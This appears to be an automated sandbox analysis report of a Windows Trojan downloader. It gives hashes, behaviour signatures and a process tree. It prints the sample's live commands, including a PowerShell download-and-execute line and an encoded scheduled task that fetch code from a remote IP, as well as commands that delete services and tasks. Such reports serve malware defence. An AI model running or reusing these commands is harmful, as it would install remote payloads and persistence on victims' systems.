Analysis

  • max time kernel
    152s
  • max time network
    156s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    29/07/2020, 14:26

General

  • Target
    SecuriteInfo.com.Trojan.DownLoader33.63577.28669.2152.exe
  • Size 128KB
  • Sample200729-gkkh15flca
  • SHA256 a1c644a64801c61e1649517c3debc28b194b4f9d43e1a99bc28724f652c3ca5e
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • ps1.dropper

    http://185.10.68.147/win/3p/checking.ps1

Signatures

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of WriteProcessMemory 42 IoCs
  • Drops file in System32 directory 1 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Stops running service(s) 3 TTPs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Blacklisted process makes network request 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.DownLoader33.63577.28669.2152.exe
    "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.DownLoader33.63577.28669.2152.exe"
    1⤵
      PID:848
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command iex ((New-Object System.Net.WebClient).DownloadString('http://185.10.68.147/win/3p/checking.ps1'))
      1⤵
      • Process spawned unexpected child process
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      • Drops file in System32 directory
      • Suspicious use of AdjustPrivilegeToken
      • Blacklisted process makes network request
      PID:1824
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c sc delete cli_optimization_v2.0.55727_64
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1624
        • C:\Windows\system32\sc.exe
          sc delete cli_optimization_v2.0.55727_64
          3⤵
            PID:1924
        • C:\Windows\system32\cmd.exe
          "C:\Windows\system32\cmd.exe" /c sc delete cli_optimization_v2.0.55727_32
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1880
          • C:\Windows\system32\sc.exe
            sc delete cli_optimization_v2.0.55727_32
            3⤵
              PID:1952
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c SCHTASKS /create /tn "\Microsoft\Windows\.NET Framework\.NET Framework Cache Optimization" /sc HOURLY /f /mo 16 /tr "cmd /c powershell -nop -noni -w 1 -enc cgBlAGcAcwB2AHIAMwAyACAALwB1ACAALwBzACAALwBpADoAaAB0AHQAcAA6AC8ALwAxADgANQAuADEAMAAuADYAOAAuADEANAA3AC8AdwBpAG4ALwBwAGgAcAAvAGYAdQBuAGMALgBwAGgAcAAgAHMAYwByAG8AYgBqAC4AZABsAGwA" /ru SYSTEM
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:1992
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /create /tn "\Microsoft\Windows\.NET Framework\.NET Framework Cache Optimization" /sc HOURLY /f /mo 16 /tr "cmd /c powershell -nop -noni -w 1 -enc cgBlAGcAcwB2AHIAMwAyACAALwB1ACAALwBzACAALwBpADoAaAB0AHQAcAA6AC8ALwAxADgANQAuADEAMAAuADYAOAAuADEANAA3AC8AdwBpAG4ALwBwAGgAcAAvAGYAdQBuAGMALgBwAGgAcAAgAHMAYwByAG8AYgBqAC4AZABsAGwA" /ru SYSTEM
              3⤵
              • Creates scheduled task(s)
              PID:1948
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c schtasks /tn \Microsoft\Windows\MobilePC\DetectPC /end
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:1944
            • C:\Windows\system32\schtasks.exe
              schtasks /tn \Microsoft\Windows\MobilePC\DetectPC /end
              3⤵
                PID:520
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /c schtasks /tn \Microsoft\Windows\MobilePC\DetectPC /delete /f
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:268
              • C:\Windows\system32\schtasks.exe
                schtasks /tn \Microsoft\Windows\MobilePC\DetectPC /delete /f
                3⤵
                  PID:580
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /c schtasks /tn \Microsoft\Windows\Registry\RegBackup /delete /f
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:868
                • C:\Windows\system32\schtasks.exe
                  schtasks /tn \Microsoft\Windows\Registry\RegBackup /delete /f
                  3⤵
                    PID:1552
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c schtasks /tn \Microsoft\Windows\Bluetooth\UpdateDeviceTask /end
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1372
                  • C:\Windows\system32\schtasks.exe
                    schtasks /tn \Microsoft\Windows\Bluetooth\UpdateDeviceTask /end
                    3⤵
                      PID:1148

                Network

                      MITRE ATT&CK Enterprise v6

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